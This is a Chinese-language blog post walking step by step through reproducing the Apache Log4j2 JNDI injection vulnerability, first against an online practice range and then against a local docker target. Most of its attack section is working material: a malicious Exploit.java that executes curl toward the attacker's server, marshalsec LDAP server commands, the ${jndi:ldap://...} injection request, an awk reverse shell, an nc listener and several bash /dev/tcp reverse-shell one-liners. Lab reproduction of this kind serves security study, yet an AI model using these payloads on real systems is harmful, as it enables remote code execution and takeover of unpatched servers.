apache log4j2 漏洞复现linux【纯详版】

本次记录自己测试时每一步操作,很详细。

 

本次复现分为curl测试和拿shell两种操作,测试完curl后体验时长到期了,只能换环境了。

本次测试环境如下:

curl------------------------------------------------------

靶场:    http://d63bb2586.lab.aqlab.cn/

攻击机:106.15.47.238(阿里云的一小时体验服务器)

拿shell--------------------------------------------------

靶场:      192.168.11.136(centos7)

攻击机:192.168.11.128(kali)

 

 

 

curl测试:

攻击机-----------------------

安装java环境:

jdk1.8.0_181

链接:https://pan.baidu.com/s/1Rt-XLjY2Od6RFQDYkrN7wg
提取码:6rec

下载好后使用rz传到vps上:

#yum install lrzsz

#rz

解压缩:

tar -zxvf jdk-8u181-linux-x64.tar.gz

 

Copy到/usr/jdk:

cp -r jdk1.8.0_181/ /usr/jdk

 

 编辑环境变量:

vi /etc/profile

将下面配置添加到文件最后:

export JAVA_HOME=/usr/jdk

export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$CLASSPATH

export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH

 告诉系统jdk的位置:

update-alternatives --install "/usr/bin/java" "java" "/usr/jdk/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/jdk/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/jdk/bin/javaws" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/jdk/bin/javaws" 1

 设置新的jdk为默认:

update-alternatives --set java /usr/jdk/bin/java
update-alternatives --set java /usr/jdk/bin/java

update-alternatives --set javac /usr/jdk/bin/javac
update-alternatives --set javac /usr/jdk/bin/javac

update-alternatives --set javaws /usr/jdk/bin/javaws
update-alternatives --set javaws /usr/jdk/bin/javaws

 

重载profile文件:

source /etc/profile

 查看jdk版本:

java -version 

到此java环境安装完毕。

编写一个恶意类,命名为Exploit.java,这里用curl测试:

vi  Exploit.java

 写入:

public class Exploit {
    public Exploit(){
        try{
            // 要执行的命令
            String[] commands = {"curl","http://106.15.47.238:5678"};
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }
    }

public static void main(String[] argv) {
        Exploit e = new Exploit();
    }
}

编译:

javac Exploit.java

开个http服务,等会用来验证是否命令被目标执行:

安装maven:

wget https://mirrors.cnnic.cn/apache/maven/maven-3/3.8.4/binaries/apache-maven-3.8.4-bin.tar.gz

 

 解压:

tar -zxvf apache-maven-3.8.4-bin.tar.gz

 配置:

update-alternatives --install /usr/bin/mvn mvn ~/apache-maven-3.8.4/bin/mvn 1

环境变量配置:

vi /etc/profile

最下面添加:

export MAVEN_HOME=~/apache-maven-3.8.4 
export PATH=$MAVEN_HOME/bin:$PATH

重载profile文件:

source /etc/profile

 装git:

yum install git

下载marshalsec工具

git clone https://hub.fastgit.org/mbechler/marshalsec.git

进入marshalsec文件夹,使用maven编译marshalsec成jar包:

mvn clean package -DskipTests

 耐心等待ing...

来了

在Exploit.java文件所在目录开个http服务:

进入target文件夹,搭建个LDAP服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://106.15.47.238:1234/#Exploit 8899

 

 

 访问靶场:

http://d63bb2586.lab.aqlab.cn/

 点击登录后,目标执行命令curl我们的5678端口:

 

 

-------------------------------------------------------- -------------------------------------------------------- 

 

这时候靶场1小时时间到期了呜呜。

拿shell:

简介:

靶机:      192.168.11.136(centos7)

攻击机:192.168.11.128(kali)

和以上curl操作相同,只是修改被执行的命令为反弹shell。

靶机docker环境搭建:

装docker

curl -s https://get.docker.com/ | sh

启动docker:

service docker start

拉镜像:

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

容器:

docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

进容器:

docker exec -it log4j_vuln_container /bin/bash

开tomcat服务:

/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

到此为止靶机环境搭建好了。

攻击机-----------

配java环境、各种组件。和上面curl操作步骤一样。

配好环境和相关组件后,在Exploit.java所在目录启个http服务:

python -m SimpleHTTPServer 1234

开启LDAP服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.11.128:1234/#Exploit 8899

恶意类内容.编辑Exploit.java文件,利用curl反弹shell:

vi Exploit.java

编译:

再启个http服务供目标机器来访问bash.html:

Bash.html内容:意思是把shell反弹到攻击机4444端口:

awk 'BEGIN {s = "/inet/tcp/0/192.168.11.128/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

 Nc监听4444,坐等shell:

nc –lvnp 4444

最后访问http://192.168.11.136:8080/webstudy/hello-fengxuan

Post请求c=${jndi:ldap://192.168.11.128:8899/id}

 过程:

目标Curl攻击机的8888端口,内容为反弹shell到攻击机4444端口:

收到shell:

 

 

-----------------------

问 为什么要这样反弹,麻烦不烦啊!

答 因为其他方式本人没弹出来(委屈)

bash -i >& /dev/tcp/192.168.11.128/4444 0>&1
bash -i > /dev/tcp/192.168.11.128/4444 0<&1 2>&1
exec 196<>/dev/tcp/192.168.11.128/4444; sh <&196 >&196 2>&196

晚安

 

参考:

https://cloud.tencent.com/developer/article/1853055?from=article.detail.1577831

https://mp.weixin.qq.com/s/4cvooT4tfQhjL7t4GFzYFQ

https://cloud.tencent.com/developer/article/1577831

 

声明:

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

 

posted @ 2021-12-13 15:23  王王大帅气  阅读(2664)  评论(0编辑  收藏  举报